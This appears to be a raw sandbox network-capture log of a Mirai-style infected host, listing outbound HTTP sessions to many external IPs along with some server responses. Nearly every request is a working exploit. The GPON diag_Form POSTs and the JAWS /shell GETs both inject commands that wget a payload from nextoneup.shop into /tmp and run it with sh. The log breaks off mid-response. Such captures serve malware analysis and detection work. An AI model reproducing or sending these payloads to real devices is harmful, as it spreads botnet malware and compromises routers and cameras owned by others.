Apr 14, 2024 04:01:09.149996996 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1783	192.168.2.13	52476	117.5.203.187	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:09.150033951 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1784	192.168.2.13	60726	104.25.155.177	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:11.166130066 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1785	192.168.2.13	34924	111.89.205.206	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:11.274950981 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:11.567819118 CEST	277	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:11 GMT Server: Apache Content-Length: 65 Keep-Alive: timeout=3, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e Data Ascii: <h1>Not Found</h1>The requested URL was not found on this server.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1786	192.168.2.13	51104	39.96.116.6	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:11.331237078 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:11.663033962 CEST	494	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/html; charset=UTF-8 Location: https://127.0.0.1:80/shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Date: Sun, 14 Apr 2024 02:01:11 GMT Content-Length: 211 Data Raw: 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e e6 96 87 e6 a1 a3 e5 b7 b2 e7 a7 bb e5 8a a8 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 3c 68 31 3e e5 af b9 e8 b1 a1 e5 b7 b2 e7 a7 bb e5 8a a8 3c 2f 68 31 3e e5 8f af e5 9c a8 3c 61 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 3a 38 30 2f 73 68 65 6c 6c 3f 63 64 2b 2f 74 6d 70 3b 72 6d 2b 2d 72 66 2b 2a 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 6a 61 77 73 3b 73 68 2b 2f 74 6d 70 2f 6a 61 77 73 22 3e e6 ad a4 e5 a4 84 3c 2f 61 3e e6 89 be e5 88 b0 e8 af a5 e6 96 87 e6 a1 a3 3c 2f 62 6f 64 79 3e Data Ascii: <head><title></title></head><body><h1></h1><a HREF="https://127.0.0.1:80/shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws"></a></body>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1787	192.168.2.13	57016	178.25.1.70	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:11.341398954 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:11.859009981 CEST	708	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 14 Apr 2024 02:01:11 GMT Content-Type: text/html Content-Length: 463 Last-Modified: Mon, 22 Jan 2024 21:24:33 GMT Connection: keep-alive Keep-Alive: timeout=20 Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 68 74 74 70 22 20 6e 61 6d 65 3d 22 68 74 74 70 22 20 76 61 6c 75 65 3d 22 35 30 30 30 22 3e 0a 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 68 74 74 70 73 22 20 6e 61 6d 65 3d 22 68 74 74 70 73 22 20 76 61 6c 75 65 3d 22 35 30 30 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 70 72 65 66 65 72 5f 68 74 74 70 73 22 20 6e 61 6d 65 3d 22 70 72 65 66 65 72 5f 68 74 74 70 73 22 20 76 61 6c 75 65 3d 22 74 72 75 65 22 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 76 61 72 20 70 72 6f 74 6f 63 6f 6c 3d 22 68 74 74 70 73 3a 22 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 70 6f 72 74 3d 35 30 30 31 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 55 52 4c 3d 70 72 6f 74 6f 63 6f 6c 2b 22 2f 2f 22 2b 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2b 22 3a 22 2b 70 6f 72 74 2b 22 2f 22 3b 0a 20 20 20 20 20 20 20 20 6c 6f 63 61 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 55 52 4c 29 3b 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html> <body> <input type="hidden" id="http" name="http" value="5000"> <input type="hidden" id="https" name="https" value="5001"> <input type="hidden" id="prefer_https" name="prefer_https" value="true"> </body> <script type="text/javascript"> var protocol="https:"; var port=5001; var URL=protocol+"//"+location.hostname+":"+port+"/"; location.replace(URL); </script></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1788	192.168.2.13	60182	114.142.224.216	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:11.564770937 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1789	192.168.2.13	44394	47.94.165.217	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:11.676717043 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:12.024482012 CEST	445	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:11 GMT Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.5.38 Content-Length: 203 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1790	192.168.2.13	60590	47.92.94.115	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:11.685543060 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:12.046928883 CEST	1289	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Date: Sun, 14 Apr 2024 02:01:11 GMT Content-Length: 1163 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e c4 fa d2 aa b2 e9 d5 d2 b5 c4 d7 ca d4 b4 bf c9 c4 dc d2 d1 b1 bb c9 be b3 fd a3 ac d2 d1 b8 fc b8 c4 c3 fb b3 c6 bb f2 d5 df d4 dd ca b1 b2 bb bf c9 d3 c3 a1 a3 3c 2f 68 33 3e 0d Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"/><title>404 - </title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1></h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - </h2> <h3></h3>
Apr 14, 2024 04:01:12.046962023 CEST	59	IN	Data Raw: 0a 20 3c 2f 66 69 65 6c 64 73 65 74 3e 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1791	192.168.2.13	41612	45.201.188.7	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:11.932246923 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:12.318952084 CEST	412	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 08:56:13 GMT Server: Webs X-Frame-Options: SAMEORIGIN Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=180, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1792	192.168.2.13	50764	41.76.222.158	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:12.029141903 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1793	192.168.2.13	48978	2.223.44.41	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:12.168045044 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1794	192.168.2.13	32976	109.220.248.199	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:12.168070078 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1795	192.168.2.13	34258	123.50.193.16	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:12.168075085 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1796	192.168.2.13	60408	2.169.162.180	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:12.168111086 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1797	192.168.2.13	33768	109.21.67.78	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:12.168122053 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1798	192.168.2.13	54942	79.172.2.144	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:12.168139935 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1799	192.168.2.13	52220	12.175.64.146	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:12.492039919 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:12.718816996 CEST	492	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Sun, 14 Apr 2024 02:00:57 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 